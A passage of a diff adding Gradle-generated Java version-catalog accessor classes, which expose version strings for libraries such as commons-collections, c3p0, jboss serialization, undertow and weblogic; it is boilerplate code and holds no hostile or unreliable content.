+ * This version was declared in catalog libs.versions.toml + */ + public Provider getDatabind() { return getVersion("com.fasterxml.jackson.core.jackson.databind"); } + + } + + public static class ComIbmVersionAccessors extends VersionFactory { + + private final ComIbmWebsphereVersionAccessors vaccForComIbmWebsphereVersionAccessors = new ComIbmWebsphereVersionAccessors(providers, config); + public ComIbmVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.ibm.websphere + */ + public ComIbmWebsphereVersionAccessors getWebsphere() { + return vaccForComIbmWebsphereVersionAccessors; + } + + } + + public static class ComIbmWebsphereVersionAccessors extends VersionFactory { + + private final ComIbmWebsphereAppserverVersionAccessors vaccForComIbmWebsphereAppserverVersionAccessors = new ComIbmWebsphereAppserverVersionAccessors(providers, config); + public ComIbmWebsphereVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.ibm.websphere.appserver + */ + public ComIbmWebsphereAppserverVersionAccessors getAppserver() { + return vaccForComIbmWebsphereAppserverVersionAccessors; + } + + } + + public static class ComIbmWebsphereAppserverVersionAccessors extends VersionFactory { + + private final ComIbmWebsphereAppserverApiVersionAccessors vaccForComIbmWebsphereAppserverApiVersionAccessors = new ComIbmWebsphereAppserverApiVersionAccessors(providers, config); + public ComIbmWebsphereAppserverVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.ibm.websphere.appserver.api + */ + public ComIbmWebsphereAppserverApiVersionAccessors getApi() { + return vaccForComIbmWebsphereAppserverApiVersionAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiVersionAccessors extends VersionFactory { + + private final ComIbmWebsphereAppserverApiComVersionAccessors vaccForComIbmWebsphereAppserverApiComVersionAccessors = new ComIbmWebsphereAppserverApiComVersionAccessors(providers, config); + public ComIbmWebsphereAppserverApiVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.ibm.websphere.appserver.api.com + */ + public ComIbmWebsphereAppserverApiComVersionAccessors getCom() { + return vaccForComIbmWebsphereAppserverApiComVersionAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiComVersionAccessors extends VersionFactory { + + private final ComIbmWebsphereAppserverApiComIbmVersionAccessors vaccForComIbmWebsphereAppserverApiComIbmVersionAccessors = new ComIbmWebsphereAppserverApiComIbmVersionAccessors(providers, config); + public ComIbmWebsphereAppserverApiComVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.ibm.websphere.appserver.api.com.ibm + */ + public ComIbmWebsphereAppserverApiComIbmVersionAccessors getIbm() { + return vaccForComIbmWebsphereAppserverApiComIbmVersionAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiComIbmVersionAccessors extends VersionFactory { + + private final ComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors vaccForComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors = new ComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors(providers, config); + public ComIbmWebsphereAppserverApiComIbmVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.ibm.websphere.appserver.api.com.ibm.websphere + */ + public ComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors getWebsphere() { + return vaccForComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors extends VersionFactory { + + private final ComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors vaccForComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors = new ComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors(providers, config); + public ComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.ibm.websphere.appserver.api.com.ibm.websphere.appserver + */ + public ComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors getAppserver() { + return vaccForComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors extends VersionFactory { + + private final ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors vaccForComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors = new ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors(providers, config); + public ComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api + */ + public ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors getApi() { + return vaccForComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors extends VersionFactory { + + public ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc with value 1.0.10 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getWsoc() { return getVersion("com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc"); } + + } + + public static class ComMchangeVersionAccessors extends VersionFactory { + + public ComMchangeVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.mchange.c3p0 with value 0.9.5.5 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getC3p0() { return getVersion("com.mchange.c3p0"); } + + } + + public static class ComNqzeroVersionAccessors extends VersionFactory { + + private final ComNqzeroPermitVersionAccessors vaccForComNqzeroPermitVersionAccessors = new ComNqzeroPermitVersionAccessors(providers, config); + public ComNqzeroVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.nqzero.permit + */ + public ComNqzeroPermitVersionAccessors getPermit() { + return vaccForComNqzeroPermitVersionAccessors; + } + + } + + public static class ComNqzeroPermitVersionAccessors extends VersionFactory { + + public ComNqzeroPermitVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.nqzero.permit.reflect with value 0.3 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getReflect() { return getVersion("com.nqzero.permit.reflect"); } + + } + + public static class ComOracleVersionAccessors extends VersionFactory { + + private final ComOracleWeblogicVersionAccessors vaccForComOracleWeblogicVersionAccessors = new ComOracleWeblogicVersionAccessors(providers, config); + public ComOracleVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.oracle.weblogic + */ + public ComOracleWeblogicVersionAccessors getWeblogic() { + return vaccForComOracleWeblogicVersionAccessors; + } + + } + + public static class ComOracleWeblogicVersionAccessors extends VersionFactory { + + private final ComOracleWeblogicWeblogicVersionAccessors vaccForComOracleWeblogicWeblogicVersionAccessors = new ComOracleWeblogicWeblogicVersionAccessors(providers, config); + public ComOracleWeblogicVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.oracle.weblogic.weblogic + */ + public ComOracleWeblogicWeblogicVersionAccessors getWeblogic() { + return vaccForComOracleWeblogicWeblogicVersionAccessors; + } + + } + + public static class ComOracleWeblogicWeblogicVersionAccessors extends VersionFactory { + + public ComOracleWeblogicWeblogicVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.oracle.weblogic.weblogic.server with value 1.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getServer() { return getVersion("com.oracle.weblogic.weblogic.server"); } + + } + + public static class ComTeradataVersionAccessors extends VersionFactory { + + private final ComTeradataJdbcVersionAccessors vaccForComTeradataJdbcVersionAccessors = new ComTeradataJdbcVersionAccessors(providers, config); + public ComTeradataVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.teradata.jdbc + */ + public ComTeradataJdbcVersionAccessors getJdbc() { + return vaccForComTeradataJdbcVersionAccessors; + } + + } + + public static class ComTeradataJdbcVersionAccessors extends VersionFactory { + + public ComTeradataJdbcVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.teradata.jdbc.terajdbc with value 20.00.00.06 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getTerajdbc() { return getVersion("com.teradata.jdbc.terajdbc"); } + + } + + public static class ComUnboundidVersionAccessors extends VersionFactory { + + private final ComUnboundidUnboundidVersionAccessors vaccForComUnboundidUnboundidVersionAccessors = new ComUnboundidUnboundidVersionAccessors(providers, config); + public ComUnboundidVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.unboundid.unboundid + */ + public ComUnboundidUnboundidVersionAccessors getUnboundid() { + return vaccForComUnboundidUnboundidVersionAccessors; + } + + } + + public static class ComUnboundidUnboundidVersionAccessors extends VersionFactory { + + public ComUnboundidUnboundidVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.unboundid.unboundid.ldapsdk with value 4.0.9 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getLdapsdk() { return getVersion("com.unboundid.unboundid.ldapsdk"); } + + } + + public static class ComVaadinVersionAccessors extends VersionFactory { + + private final ComVaadinVaadinVersionAccessors vaccForComVaadinVaadinVersionAccessors = new ComVaadinVaadinVersionAccessors(providers, config); + public ComVaadinVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.vaadin.vaadin + */ + public ComVaadinVaadinVersionAccessors getVaadin() { + return vaccForComVaadinVaadinVersionAccessors; + } + + } + + public static class ComVaadinVaadinVersionAccessors extends VersionFactory { + + public ComVaadinVaadinVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.vaadin.vaadin.server with value 7.7.14 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getServer() { return getVersion("com.vaadin.vaadin.server"); } + + } + + public static class CommonsVersionAccessors extends VersionFactory { + + private final CommonsBeanutilsVersionAccessors vaccForCommonsBeanutilsVersionAccessors = new CommonsBeanutilsVersionAccessors(providers, config); + private final CommonsCliVersionAccessors vaccForCommonsCliVersionAccessors = new CommonsCliVersionAccessors(providers, config); + private final CommonsCollectionsVersionAccessors vaccForCommonsCollectionsVersionAccessors = new CommonsCollectionsVersionAccessors(providers, config); + public CommonsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.commons.beanutils + */ + public CommonsBeanutilsVersionAccessors getBeanutils() { + return vaccForCommonsBeanutilsVersionAccessors; + } + + /** + * Group of versions at versions.commons.cli + */ + public CommonsCliVersionAccessors getCli() { + return vaccForCommonsCliVersionAccessors; + } + + /** + * Group of versions at versions.commons.collections + */ + public CommonsCollectionsVersionAccessors getCollections() { + return vaccForCommonsCollectionsVersionAccessors; + } + + } + + public static class CommonsBeanutilsVersionAccessors extends VersionFactory { + + private final CommonsBeanutilsCommonsVersionAccessors vaccForCommonsBeanutilsCommonsVersionAccessors = new CommonsBeanutilsCommonsVersionAccessors(providers, config); + public CommonsBeanutilsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.commons.beanutils.commons + */ + public CommonsBeanutilsCommonsVersionAccessors getCommons() { + return vaccForCommonsBeanutilsCommonsVersionAccessors; + } + + } + + public static class CommonsBeanutilsCommonsVersionAccessors extends VersionFactory { + + public CommonsBeanutilsCommonsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias commons.beanutils.commons.beanutils with value 1.9.2 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getBeanutils() { return getVersion("commons.beanutils.commons.beanutils"); } + + } + + public static class CommonsCliVersionAccessors extends VersionFactory { + + private final CommonsCliCommonsVersionAccessors vaccForCommonsCliCommonsVersionAccessors = new CommonsCliCommonsVersionAccessors(providers, config); + public CommonsCliVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.commons.cli.commons + */ + public CommonsCliCommonsVersionAccessors getCommons() { + return vaccForCommonsCliCommonsVersionAccessors; + } + + } + + public static class CommonsCliCommonsVersionAccessors extends VersionFactory { + + public CommonsCliCommonsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias commons.cli.commons.cli with value 1.5.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCli() { return getVersion("commons.cli.commons.cli"); } + + } + + public static class CommonsCollectionsVersionAccessors extends VersionFactory { + + private final CommonsCollectionsCommonsVersionAccessors vaccForCommonsCollectionsCommonsVersionAccessors = new CommonsCollectionsCommonsVersionAccessors(providers, config); + public CommonsCollectionsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.commons.collections.commons + */ + public CommonsCollectionsCommonsVersionAccessors getCommons() { + return vaccForCommonsCollectionsCommonsVersionAccessors; + } + + } + + public static class CommonsCollectionsCommonsVersionAccessors extends VersionFactory { + + public CommonsCollectionsCommonsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias commons.collections.commons.collections with value 3.2.1 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCollections() { return getVersion("commons.collections.commons.collections"); } + + } + + public static class IoVersionAccessors extends VersionFactory { + + private final IoProjectreactorVersionAccessors vaccForIoProjectreactorVersionAccessors = new IoProjectreactorVersionAccessors(providers, config); + private final IoUndertowVersionAccessors vaccForIoUndertowVersionAccessors = new IoUndertowVersionAccessors(providers, config); + public IoVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.io.projectreactor + */ + public IoProjectreactorVersionAccessors getProjectreactor() { + return vaccForIoProjectreactorVersionAccessors; + } + + /** + * Group of versions at versions.io.undertow + */ + public IoUndertowVersionAccessors getUndertow() { + return vaccForIoUndertowVersionAccessors; + } + + } + + public static class IoProjectreactorVersionAccessors extends VersionFactory { + + private final IoProjectreactorReactorVersionAccessors vaccForIoProjectreactorReactorVersionAccessors = new IoProjectreactorReactorVersionAccessors(providers, config); + public IoProjectreactorVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.io.projectreactor.reactor + */ + public IoProjectreactorReactorVersionAccessors getReactor() { + return vaccForIoProjectreactorReactorVersionAccessors; + } + + } + + public static class IoProjectreactorReactorVersionAccessors extends VersionFactory { + + public IoProjectreactorReactorVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias io.projectreactor.reactor.core with value 3.4.26 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("io.projectreactor.reactor.core"); } + + } + + public static class IoUndertowVersionAccessors extends VersionFactory { + + private final IoUndertowUndertowVersionAccessors vaccForIoUndertowUndertowVersionAccessors = new IoUndertowUndertowVersionAccessors(providers, config); + public IoUndertowVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.io.undertow.undertow + */ + public IoUndertowUndertowVersionAccessors getUndertow() { + return vaccForIoUndertowUndertowVersionAccessors; + } + + } + + public static class IoUndertowUndertowVersionAccessors extends VersionFactory { + + public IoUndertowUndertowVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias io.undertow.undertow.core with value 2.2.2.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("io.undertow.undertow.core"); } + + /** + * Version alias io.undertow.undertow.servlet with value 2.2.2.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getServlet() { return getVersion("io.undertow.undertow.servlet"); } + + } + + public static class JavaxVersionAccessors extends VersionFactory { + + private final JavaxMediaVersionAccessors vaccForJavaxMediaVersionAccessors = new JavaxMediaVersionAccessors(providers, config); + private final JavaxServletVersionAccessors vaccForJavaxServletVersionAccessors = new JavaxServletVersionAccessors(providers, config); + private final JavaxWebsocketVersionAccessors vaccForJavaxWebsocketVersionAccessors = new JavaxWebsocketVersionAccessors(providers, config); + public JavaxVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.javax.media + */ + public JavaxMediaVersionAccessors getMedia() { + return vaccForJavaxMediaVersionAccessors; + } + + /** + * Group of versions at versions.javax.servlet + */ + public JavaxServletVersionAccessors getServlet() { + return vaccForJavaxServletVersionAccessors; + } + + /** + * Group of versions at versions.javax.websocket + */ + public JavaxWebsocketVersionAccessors getWebsocket() { + return vaccForJavaxWebsocketVersionAccessors; + } + + } + + public static class JavaxMediaVersionAccessors extends VersionFactory { + + private final JavaxMediaJaiVersionAccessors vaccForJavaxMediaJaiVersionAccessors = new JavaxMediaJaiVersionAccessors(providers, config); + public JavaxMediaVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.javax.media.jai + */ + public JavaxMediaJaiVersionAccessors getJai() { + return vaccForJavaxMediaJaiVersionAccessors; + } + + } + + public static class JavaxMediaJaiVersionAccessors extends VersionFactory { + + private final JavaxMediaJaiJaiVersionAccessors vaccForJavaxMediaJaiJaiVersionAccessors = new JavaxMediaJaiJaiVersionAccessors(providers, config); + public JavaxMediaJaiVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.javax.media.jai.jai + */ + public JavaxMediaJaiJaiVersionAccessors getJai() { + return vaccForJavaxMediaJaiJaiVersionAccessors; + } + + } + + public static class JavaxMediaJaiJaiVersionAccessors extends VersionFactory { + + public JavaxMediaJaiJaiVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias javax.media.jai.jai.core with value 1.1.3 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("javax.media.jai.jai.core"); } + + } + + public static class JavaxServletVersionAccessors extends VersionFactory { + + private final JavaxServletJavaxVersionAccessors vaccForJavaxServletJavaxVersionAccessors = new JavaxServletJavaxVersionAccessors(providers, config); + public JavaxServletVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.javax.servlet.javax + */ + public JavaxServletJavaxVersionAccessors getJavax() { + return vaccForJavaxServletJavaxVersionAccessors; + } + + } + + public static class JavaxServletJavaxVersionAccessors extends VersionFactory { + + private final JavaxServletJavaxServletVersionAccessors vaccForJavaxServletJavaxServletVersionAccessors = new JavaxServletJavaxServletVersionAccessors(providers, config); + public JavaxServletJavaxVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.javax.servlet.javax.servlet + */ + public JavaxServletJavaxServletVersionAccessors getServlet() { + return vaccForJavaxServletJavaxServletVersionAccessors; + } + + } + + public static class JavaxServletJavaxServletVersionAccessors extends VersionFactory { + + public JavaxServletJavaxServletVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias javax.servlet.javax.servlet.api with value 4.0.1 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getApi() { return getVersion("javax.servlet.javax.servlet.api"); } + + } + + public static class JavaxWebsocketVersionAccessors extends VersionFactory { + + private final JavaxWebsocketJavaxVersionAccessors vaccForJavaxWebsocketJavaxVersionAccessors = new JavaxWebsocketJavaxVersionAccessors(providers, config); + public JavaxWebsocketVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.javax.websocket.javax + */ + public JavaxWebsocketJavaxVersionAccessors getJavax() { + return vaccForJavaxWebsocketJavaxVersionAccessors; + } + + } + + public static class JavaxWebsocketJavaxVersionAccessors extends VersionFactory { + + private final JavaxWebsocketJavaxWebsocketVersionAccessors vaccForJavaxWebsocketJavaxWebsocketVersionAccessors = new JavaxWebsocketJavaxWebsocketVersionAccessors(providers, config); + public JavaxWebsocketJavaxVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.javax.websocket.javax.websocket + */ + public JavaxWebsocketJavaxWebsocketVersionAccessors getWebsocket() { + return vaccForJavaxWebsocketJavaxWebsocketVersionAccessors; + } + + } + + public static class JavaxWebsocketJavaxWebsocketVersionAccessors extends VersionFactory { + + public JavaxWebsocketJavaxWebsocketVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias javax.websocket.javax.websocket.api with value 1.1 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getApi() { return getVersion("javax.websocket.javax.websocket.api"); } + + } + + public static class JbossVersionAccessors extends VersionFactory { + + private final JbossJbossVersionAccessors vaccForJbossJbossVersionAccessors = new JbossJbossVersionAccessors(providers, config); + public JbossVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.jboss.jboss + */ + public JbossJbossVersionAccessors getJboss() { + return vaccForJbossJbossVersionAccessors; + } + + } + + public static class JbossJbossVersionAccessors extends VersionFactory { + + public JbossJbossVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias jboss.jboss.serialization with value 4.2.2.GA + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getSerialization() { return getVersion("jboss.jboss.serialization"); } + + } + + public static class JunitVersionAccessors extends VersionFactory { + + public JunitVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias junit.junit with value 4.11 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getJunit() { return getVersion("junit.junit"); } + + } + + public static class NetVersionAccessors extends VersionFactory { + + private final NetJodahVersionAccessors vaccForNetJodahVersionAccessors = new NetJodahVersionAccessors(providers, config); + private final NetSfVersionAccessors vaccForNetSfVersionAccessors = new NetSfVersionAccessors(providers, config); + public NetVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.net.jodah + */ + public NetJodahVersionAccessors getJodah() { + return vaccForNetJodahVersionAccessors; + } + + /** + * Group of versions at versions.net.sf + */ + public NetSfVersionAccessors getSf() { + return vaccForNetSfVersionAccessors; + } + + } + + public static class NetJodahVersionAccessors extends VersionFactory { + + public NetJodahVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias net.jodah.expiringmap with value 0.5.9 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getExpiringmap() { return getVersion("net.jodah.expiringmap"); } + + } + + public static class NetSfVersionAccessors extends VersionFactory { + + private final NetSfJsonVersionAccessors vaccForNetSfJsonVersionAccessors = new NetSfJsonVersionAccessors(providers, config); + public NetSfVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.net.sf.json + */ + public NetSfJsonVersionAccessors getJson() { + return vaccForNetSfJsonVersionAccessors; + } + + } + + public static class NetSfJsonVersionAccessors extends VersionFactory { + + private final NetSfJsonLibVersionAccessors vaccForNetSfJsonLibVersionAccessors = new NetSfJsonLibVersionAccessors(providers, config); + public NetSfJsonVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.net.sf.json.lib + */ + public NetSfJsonLibVersionAccessors getLib() { + return vaccForNetSfJsonLibVersionAccessors; + } + + } + + public static class NetSfJsonLibVersionAccessors extends VersionFactory { + + private final NetSfJsonLibJsonVersionAccessors vaccForNetSfJsonLibJsonVersionAccessors = new NetSfJsonLibJsonVersionAccessors(providers, config); + public NetSfJsonLibVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.net.sf.json.lib.json + */ + public NetSfJsonLibJsonVersionAccessors getJson() { + return vaccForNetSfJsonLibJsonVersionAccessors; + } + + } + + public static class NetSfJsonLibJsonVersionAccessors extends VersionFactory { + + public NetSfJsonLibJsonVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias net.sf.json.lib.json.lib with value 2.4 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getLib() { return getVersion("net.sf.json.lib.json.lib"); } + + } + + public static class OrgVersionAccessors extends VersionFactory { + + private final OrgApacheVersionAccessors vaccForOrgApacheVersionAccessors = new OrgApacheVersionAccessors(providers, config); + private final OrgAspectjVersionAccessors vaccForOrgAspectjVersionAccessors = new OrgAspectjVersionAccessors(providers, config); + private final OrgBeanshellVersionAccessors vaccForOrgBeanshellVersionAccessors = new OrgBeanshellVersionAccessors(providers, config); + private final OrgClojureVersionAccessors vaccForOrgClojureVersionAccessors = new OrgClojureVersionAccessors(providers, config); + private final OrgCodehausVersionAccessors vaccForOrgCodehausVersionAccessors = new OrgCodehausVersionAccessors(providers, config); + private final OrgEclipseVersionAccessors vaccForOrgEclipseVersionAccessors = new OrgEclipseVersionAccessors(providers, config); + private final OrgFusesourceVersionAccessors vaccForOrgFusesourceVersionAccessors = new OrgFusesourceVersionAccessors(providers, config); + private final OrgGlassfishVersionAccessors vaccForOrgGlassfishVersionAccessors = new OrgGlassfishVersionAccessors(providers, config); + private final OrgHibernateVersionAccessors vaccForOrgHibernateVersionAccessors = new OrgHibernateVersionAccessors(providers, config); + private final OrgJavassistVersionAccessors vaccForOrgJavassistVersionAccessors = new OrgJavassistVersionAccessors(providers, config); + private final OrgJbossVersionAccessors vaccForOrgJbossVersionAccessors = new OrgJbossVersionAccessors(providers, config); + private final OrgJenkinsVersionAccessors vaccForOrgJenkinsVersionAccessors = new OrgJenkinsVersionAccessors(providers, config); + private final OrgOw2VersionAccessors vaccForOrgOw2VersionAccessors = new OrgOw2VersionAccessors(providers, config); + private final OrgPythonVersionAccessors vaccForOrgPythonVersionAccessors = new OrgPythonVersionAccessors(providers, config); + private final OrgReflectionsVersionAccessors vaccForOrgReflectionsVersionAccessors = new OrgReflectionsVersionAccessors(providers, config); + private final OrgSpringframeworkVersionAccessors vaccForOrgSpringframeworkVersionAccessors = new OrgSpringframeworkVersionAccessors(providers, config); + public OrgVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache + */ + public OrgApacheVersionAccessors getApache() { + return vaccForOrgApacheVersionAccessors; + } + + /** + * Group of versions at versions.org.aspectj + */ + public OrgAspectjVersionAccessors getAspectj() { + return vaccForOrgAspectjVersionAccessors; + } + + /** + * Group of versions at versions.org.beanshell + */ + public OrgBeanshellVersionAccessors getBeanshell() { + return vaccForOrgBeanshellVersionAccessors; + } + + /** + * Group of versions at versions.org.clojure + */ + public OrgClojureVersionAccessors getClojure() { + return vaccForOrgClojureVersionAccessors; + } + + /** + * Group of versions at versions.org.codehaus + */ + public OrgCodehausVersionAccessors getCodehaus() { + return vaccForOrgCodehausVersionAccessors; + } + + /** + * Group of versions at versions.org.eclipse + */ + public OrgEclipseVersionAccessors getEclipse() { + return vaccForOrgEclipseVersionAccessors; + } + + /** + * Group of versions at versions.org.fusesource + */ + public OrgFusesourceVersionAccessors getFusesource() { + return vaccForOrgFusesourceVersionAccessors; + } + + /** + * Group of versions at versions.org.glassfish + */ + public OrgGlassfishVersionAccessors getGlassfish() { + return vaccForOrgGlassfishVersionAccessors; + } + + /** + * Group of versions at versions.org.hibernate + */ + public OrgHibernateVersionAccessors getHibernate() { + return vaccForOrgHibernateVersionAccessors; + } + + /** + * Group of versions at versions.org.javassist + */ + public OrgJavassistVersionAccessors getJavassist() { + return vaccForOrgJavassistVersionAccessors; + } + + /** + * Group of versions at versions.org.jboss + */ + public OrgJbossVersionAccessors 